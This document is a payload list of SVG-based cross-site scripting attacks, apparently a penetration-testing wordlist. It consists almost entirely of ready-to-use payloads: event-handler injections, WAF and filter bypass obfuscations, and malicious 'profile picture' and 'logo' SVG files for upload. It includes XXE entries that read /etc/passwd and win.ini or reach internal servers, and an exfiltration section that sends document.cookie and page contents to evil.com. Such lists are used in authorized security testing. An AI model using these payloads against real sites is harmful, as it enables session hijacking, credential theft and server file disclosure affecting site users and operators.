# SVG XSS Payloads
# SVG-based Cross-Site Scripting payloads

# BASIC SVG EVENT HANDLERS

# onload/onerror events
<svg onload="alert('XSS')">
<svg onerror="alert('XSS')">
<svg onload="javascript:alert('XSS')">
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">

# SVG with nested elements
<svg><animate onbegin="alert('XSS')">
<svg><animate onend="alert('XSS')">
<svg><set onbegin="alert('XSS')">

# Image-based SVG
<svg><image onload="alert('XSS')" href="x">
<svg><image onerror="alert('XSS')" src="x">

# FOREIGNOBJECT (powerful bypass technique)
<svg><foreignObject><script>alert('XSS')</script></foreignObject>
<svg><foreignObject><iframe src="javascript:alert('XSS')"></iframe></foreignObject>
<svg><foreignObject><body onload="alert('XSS')"></body></foreignObject>
<svg><foreignObject><html><script>alert('XSS')</script></html></foreignObject>

# ANIMATION ELEMENTS
<svg><animate attributeName="href" to="javascript:alert('XSS')">
<svg><animateTransform onbegin="alert('XSS')">
<svg><animateMotion onbegin="alert('XSS')">

# USE ELEMENT
<svg><use onload="alert('XSS')">
<svg><use href="data:image/svg+xml,<svg onload=alert('XSS')">>
<svg><use href="#x"><script id="x">alert('XSS')</script></use>

# SCRIPT TAGS INSIDE SVG
<svg><script>alert('XSS')</script></svg>
<svg><script>document.location="javascript:alert('XSS')"</script></svg>
<svg><script>eval('alert("XSS")')</script></svg>
<svg><script>setTimeout('alert("XSS")',0)</script></svg>

# DATA URL IN HREF
<svg><a href="data:text/html,<script>alert('XSS')</script>">click</a></svg>
<svg><a href="javascript:alert('XSS')">click</a></svg>

# FOCUS/BLUR EVENTS
<svg><a onfocus="alert('XSS')" autofocus>click</a></svg>
<svg><a onblur="alert('XSS')" autofocus>click</a></svg>
<svg><a onclick="alert('XSS')">click</a></svg>

# MOUSE EVENTS
<svg><rect onmouseover="alert('XSS')" width="100" height="100"/>
<svg><rect onclick="alert('XSS')" width="100" height="100"/>
<svg><rect onmouseenter="alert('XSS')" width="100" height="100"/>
<svg><rect onmouseleave="alert('XSS')" width="100" height="100"/>
<svg><rect onmousemove="alert('XSS')" width="100" height="100"/>

# KEYBOARD EVENTS
<svg><rect onkeydown="alert('XSS')" width="100" height="100"/>
<svg><rect onkeypress="alert('XSS')" width="100" height="100"/>
<svg><rect onkeyup="alert('XSS')" width="100" height="100"/>

# OBFUSCATED SVG PAYLOADS

# HTML encoding
<svg onload=&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<svg onload=&#x61;&#x6C;&#x65;&#x72;&#x74;&#40;1&#41;>

# Case mixing
<SvG OnLoAd="alert('XSS')">
<SVG ONLOAD="alert('XSS')">

# Tab/newline injection
<svg
onload
=
"alert('XSS')">
<svg		onload		=		"alert('XSS')">

# Comment injection
<svg/**/onload="alert('XSS')">
<svg/*!*/onload="alert('XSS')">
<svg><!--comment--><script>alert('XSS')</script></svg>

# Zero-width space
<svg‌ onload="alert('XSS')">
<svg‍ onload="alert('XSS')">

# FILE UPLOAD PAYLOADS (complete SVG files)

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
  <rect width="100" height="100"/>
</svg>

<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">&xxe;</svg>

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('XSS')</script>
</svg>

<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject>
    <iframe src="javascript:alert('XSS')"></iframe>
  </foreignObject>
</svg>

<svg xmlns="http://www.w3.org/2000/svg">
  <image href="data:text/html,<script>alert('XSS')</script>">
</svg>

# DATA URI SVG PAYLOADS
data:image/svg+xml,<svg onload='alert("XSS")'>
data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KCdYU1MnKSI+PC9zdmc+
data:image/svg+xml,%3Csvg%20onload%3D%22alert%28%27XSS%27%29%22%3E

# SVG WITH CSS
<svg><style><script>alert('XSS')</script></style></svg>
<svg><style>@import "javascript:alert('XSS')";</style></svg>
<svg><style>img{background:url('x'onerror=alert('XSS'))}</style></svg>

# SVG WITH ANIMATE (timing attacks)
<svg><animate from="alert('XSS')" to="alert('XSS')" begin="0s">
<svg><animate attributeName="x" from="0" to="0" begin="0s" onbegin="alert('XSS')">

# SVG WITH SET
<svg><set attributeName="onload" to="alert('XSS')">
<svg><set attributeName="href" to="javascript:alert('XSS')">

# SVG WITH DISCARD (triggers when removed from DOM)
<svg><discard onbegin="alert('XSS')">

# SVG WITH VIDEO
<svg><video><source src="x" onerror="alert('XSS')"></video></svg>

# SVG WITH AUDIO
<svg><audio src="x" onerror="alert('XSS')"></svg>

# SVG WITH IFRAME
<svg><foreignObject><iframe srcdoc="<script>alert('XSS')</script>"></iframe></foreignObject></svg>

# POLYGLOT SVG PAYLOADS (work in multiple contexts)

<svg onload="alert(1)">
<svg><script>alert(1)</script></svg>
<svg><foreignObject><script>alert(1)</script></foreignObject></svg>

<?xml version="1.0"?><svg onload="alert(1)">

# FRAMEWORK-SPECIFIC SVG PAYLOADS

# Angular SVG
<svg>{{constructor.constructor('alert("XSS")')()}}</svg>
<svg ng-app ng-on-click="alert('XSS')">x</svg>
<svg ng-init="alert('XSS')">x</svg>

# React SVG
<svg dangerouslySetInnerHTML={{__html:"<script>alert('XSS')</script>"}}></svg>

# Vue SVG
<svg v-html="'<script>alert('XSS')</script>'"></svg>

# SVG IMAGE UPLOAD BYPASS
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="data:image/svg+xml,<svg onload=alert('XSS')>">
</svg>

# SVG WITH SMIL ANIMATION
<svg><animateTransform attributeName="transform" type="scale" onbegin="alert('XSS')">
<svg><animate attributeName="width" from="0" to="100" onbegin="alert('XSS')">

# SVG WITH DISCARD
<svg><discard onbegin="alert('XSS')"/></svg>

# SVG WITH SCRIPT REFERENCE
<svg><script href="data:text/javascript,alert('XSS')"></script></svg>
<svg><script xlink:href="data:text/javascript,alert('XSS')"></script></svg>

# SVG XVECTOR (XBL binding)
<svg><style>-moz-binding:url('http://evil.com/xbl.xml#xss')</style></svg>

# SVG WITH ROLE ATTRIBUTE
<svg role="img" onload="alert('XSS')">
<svg role="presentation" onerror="alert('XSS')">

# SVG WITH ARIA ATTRIBUTES
<svg aria-label="x" onmouseover="alert('XSS')">
<svg aria-hidden="true" onload="alert('XSS')">

# SVG WITH FOREIGNOBJECT IFRAME
<svg><foreignObject><iframe src="javascript:alert('XSS')" width="100%"></iframe></foreignObject></svg>

# SVG COMBO PAYLOADS
<svg><!--x--><script>alert('XSS')</script><!--x--></svg>
<svg><image><script>alert('XSS')</script></image></svg>
<svg><use><script>alert('XSS')</script></use></svg>

# === Additional SVG Elements with XSS ===

# SVG with text element
<svg><text onload="alert('XSS')">text</text></svg>
<svg><text onmouseover="alert('XSS')">hover</text></svg>

# SVG with tspan
<svg><text><tspan onclick="alert('XSS')">click</tspan></text></svg>

# SVG with switch
<svg><switch onclick="alert('XSS')"><rect width="100"/></switch></svg>

# SVG with symbol
<svg><symbol id="x"><script>alert('XSS')</script></symbol><use href="#x"/></svg>

# SVG with pattern
<svg><defs><pattern id="p" patternUnits="userSpaceOnUse"><script>alert('XSS')</script></pattern></defs><rect fill="url(#p)"/></svg>

# SVG with mask
<svg><mask id="m"><script>alert('XSS')</script></mask><rect mask="url(#m)"/></svg>

# SVG with clipPath
<svg><clipPath id="c"><script>alert('XSS')</script></clipPath><rect clip-path="url(#c)"/></svg>

# SVG with defs
<svg><defs><script>alert('XSS')</script></defs></svg>

# SVG with g (group)
<svg><g onclick="alert('XSS')"><rect width="100"/></g></svg>

# SVG with view
<svg><view onclick="alert('XSS')"/></svg>

# SVG with marker
<svg><marker id="m"><script>alert('XSS')</script></marker><rect marker-end="url(#m)"/></svg>

# === SVG Animation Variants ===

# animate with all events
<svg><animate onbegin="alert('XSS')"/><animate onend="alert('XSS')"/><animate onrepeat="alert('XSS')"/></svg>

# animateMotion
<svg><animateMotion onbegin="alert('XSS')"><mpath/></animateMotion></svg>

# animateTransform with rotation
<svg><animateTransform attributeName="transform" type="rotate" onbegin="alert('XSS')"/></svg>

# set element
<svg><set to="alert('XSS')" onbegin="alert('XSS')"/></svg>

# === SVG Media Elements ===

# SVG with video
<svg><foreignObject><video src="x" onerror="alert('XSS')"></video></foreignObject></svg>

# SVG with audio
<svg><foreignObject><audio src="x" onerror="alert('XSS')"></audio></foreignObject></svg>

# === SVG Form Elements in foreignObject ===

<svg><foreignObject><input autofocus onfocus="alert('XSS')"></foreignObject></svg>
<svg><foreignObject><button onclick="alert('XSS')">click</button></foreignObject></svg>
<svg><foreignObject><select onchange="alert('XSS')"><option>x</option></select></foreignObject></svg>
<svg><foreignObject><textarea onfocus="alert('XSS')" autofocus></textarea></foreignObject></svg>

# === SVG with details/summary ===

<svg><foreignObject><details open ontoggle="alert('XSS')"><summary>XSS</summary></details></foreignObject></svg>

# === SVG with marquee ===

<svg><foreignObject><marquee onstart="alert('XSS')">XSS</marquee></foreignObject></svg>

# === SVG Progress Enhancement ===

# SVG with progress
<svg><foreignObject><progress onmousemove="alert('XSS')"></progress></foreignObject></svg>

# SVG with meter
<svg><foreignObject><meter onmouseover="alert('XSS')"></meter></foreignObject></svg>

# === SVG Data Exfiltration ===

# Exfiltrate via fetch
<svg onload="fetch('https://evil.com/?c='+document.cookie)"></svg>
<svg><script>fetch('https://evil.com/?d='+btoa(document.body.innerHTML))</script></svg>

# Exfiltrate via image
<svg onload="new Image().src='https://evil.com/?c='+document.cookie"></svg>
<svg><img src="x" onerror="this.src='https://evil.com/?c='+document.cookie"></svg>

# Exfiltrate via location
<svg onload="location='https://evil.com/?c='+document.cookie"></svg>
<svg><script>window.location='https://evil.com/?c='+document.cookie</script></svg>

# === SVG Namespace Exploits ===

# Multiple namespaces
<svg xmlns="http://www.w3.org/2000/svg"><script>alert('XSS')</script></svg>
<svg:svg xmlns:svg="http://www.w3.org/2000/svg"><svg:script>alert('XSS')</svg:script></svg:svg>

# XLink namespace
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><script xlink:href="data:text/javascript,alert('XSS')"></script></svg>

# === SVG XXE (File Read) ===

# Read /etc/passwd
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">&xxe;</svg>

# Read Windows files
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>

# SSRF via XXE
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "http://internal-server/">]>
<svg xmlns="http://www.w3.org/2000/svg">&xxe;</svg>

# === SVG Blind XSS ===

# For admin panels
<svg><script>new Image().src='https://collaborator-url.burpcollaborator.net/?xss'</script></svg>
<svg onload="fetch('https://interact.sh/?x='+document.cookie)"></svg>

# === SVG Polyglots ===

# SVG that works in <img> and <svg>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><rect width="100" height="100" fill="red"/></svg>

# SVG that works in foreignObject and standalone
<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>

# === SVG WAF Bypass Advanced ===

# Without quotes
<svg onload=alert(1)>
<svg/onload=alert(1)>

# With backticks
<svg onload=`alert(1)`>

# With newlines
<svg
onload
=
alert(1)
>

# With comments
<svg onload/*comment*/=alert(1)>
<svg onload/**/=alert(1)>

# With tab
<svg	onload	=	alert(1)	>

# === SVG Attribute-based ===

# focusable
<svg focusable="true" onfocus="alert(1)"></svg>

# tabindex
<svg tabindex="0" onfocus="alert(1)"></svg>

# contenteditable
<svg contenteditable="true" oninput="alert(1)"></svg>

# spellcheck
<svg spellcheck="false" onfocus="alert(1)"></svg>

# === SVG Event Handlers (All) ===

# Window events
<svg onload="alert(1)">
<svg onunload="alert(1)">
<svg onresize="alert(1)">
<svg onscroll="alert(1)">

# Mouse events
<svg onclick="alert(1)">
<svg ondblclick="alert(1)">
<svg onmousedown="alert(1)">
<svg onmouseup="alert(1)">
<svg onmouseover="alert(1)">
<svg onmousemove="alert(1)">
<svg onmouseout="alert(1)">
<svg onmouseenter="alert(1)">
<svg onmouseleave="alert(1)">

# Keyboard events
<svg onkeydown="alert(1)">
<svg onkeypress="alert(1)">
<svg onkeyup="alert(1)">

# Form events
<svg onfocus="alert(1)">
<svg onblur="alert(1)">
<svg oninput="alert(1)">
<svg onchange="alert(1)">
<svg onsubmit="alert(1)">
<svg onreset="alert(1)">

# Touch events
<svg ontouchstart="alert(1)">
<svg ontouchmove="alert(1)">
<svg ontouchend="alert(1)">
<svg ontouchcancel="alert(1)">

# Drag events
<svg ondragstart="alert(1)">
<svg ondrag="alert(1)">
<svg ondragend="alert(1)">
<svg ondragenter="alert(1)">
<svg ondragleave="alert(1)">
<svg ondragover="alert(1)">
<svg ondrop="alert(1)">

# Animation events
<svg onanimationstart="alert(1)">
<svg onanimationend="alert(1)">
<svg onanimationiteration="alert(1)">

# Transition events
<svg ontransitionstart="alert(1)">
<svg ontransitionend="alert(1)">
<svg ontransitioncancel="alert(1)">

# === SVG with Base64-encoded scripts ===

<svg><script>eval(atob('YWxlcnQoJ1hTUycp'))</script></svg>
<svg><script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))</script></svg>

# === SVG with Unicode escape ===

<svg><script>alert\u0028'XSS'\u0029</script></svg>
<svg><script>alert\u0028\u0027XSS\u0027\u0029</script></svg>

# === SVG Valid-looking images ===

# Red square with XSS
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <rect width="100" height="100" fill="red"/>
  <script>alert('XSS')</script>
</svg>

# Profile picture with XSS
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <circle cx="50" cy="50" r="50" fill="blue"/>
  <script>alert('XSS')</script>
</svg>

# Logo with XSS
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 50">
  <text x="10" y="40" font-size="30" fill="black">LOGO</text>
  <script>alert('XSS')</script>
</svg>

# === SVG SMIL timing attacks ===

# Delayed execution
<svg><animate begin="2s" onbegin="alert('XSS')"/></svg>

# Repeated execution
<svg><animate repeatCount="indefinite" onrepeat="alert('XSS')"/></svg>

# Event-based timing
<svg><animate begin="click" onbegin="alert('XSS')"/><rect width="100" height="100"/></svg>

# === SVG with href in various elements ===

<svg><a href="javascript:alert('XSS')"><text>click</text></a></svg>
<svg><a href="data:text/html,<script>alert('XSS')</script>"><text>click</text></a></svg>
<svg><a href="x" onmouseover="alert('XSS')"><text>hover</text></a></svg>

# === SVG with use element ===

<svg><use href="#xss" onload="alert('XSS')"/></svg>
<svg><script id="xss">alert('XSS')</script><use href="#xss"/></svg>

# === SVG with style injection ===

<svg><style>@import 'javascript:alert(1)';</style></svg>
<svg><style>img{src:x;onerror:alert(1)}</style><img/></svg>

# === SVG with handler attribute variations ===

<svg onLoad="alert(1)">
<svg OnLoad="alert(1)">
<svg ONLOAD="alert(1)">
<svg oNlOaD="alert(1)">

# === SVG with minimal syntax ===

<svg onload=alert(1)>
<svg><script>alert(1)</script>
<svg><image href=data:image/svg+xml,<svg onload=alert(1)>

# === SVG with SVG 2.0 features ===

<svg><script type="module">import('data:text/javascript,alert(1)')</script></svg>

# === SVG for specific contexts ===

# In img tag (data URL)
data:image/svg+xml,<svg onload=alert(1)>

# In object tag
<object data="data:image/svg+xml,<svg onload=alert(1)>"></object>

# In embed tag
<embed src="data:image/svg+xml,<svg onload=alert(1)>">

# In iframe
<iframe src="data:image/svg+xml,<svg onload=alert(1)>"></iframe>

# === SVG with CSP bypass ===

# SVG that bypasses many CSP policies
<svg><script>alert(1)</script></svg>
<svg><img src=x onerror=alert(1)>
<svg><foreignObject><script>alert(1)</script></foreignObject></svg>
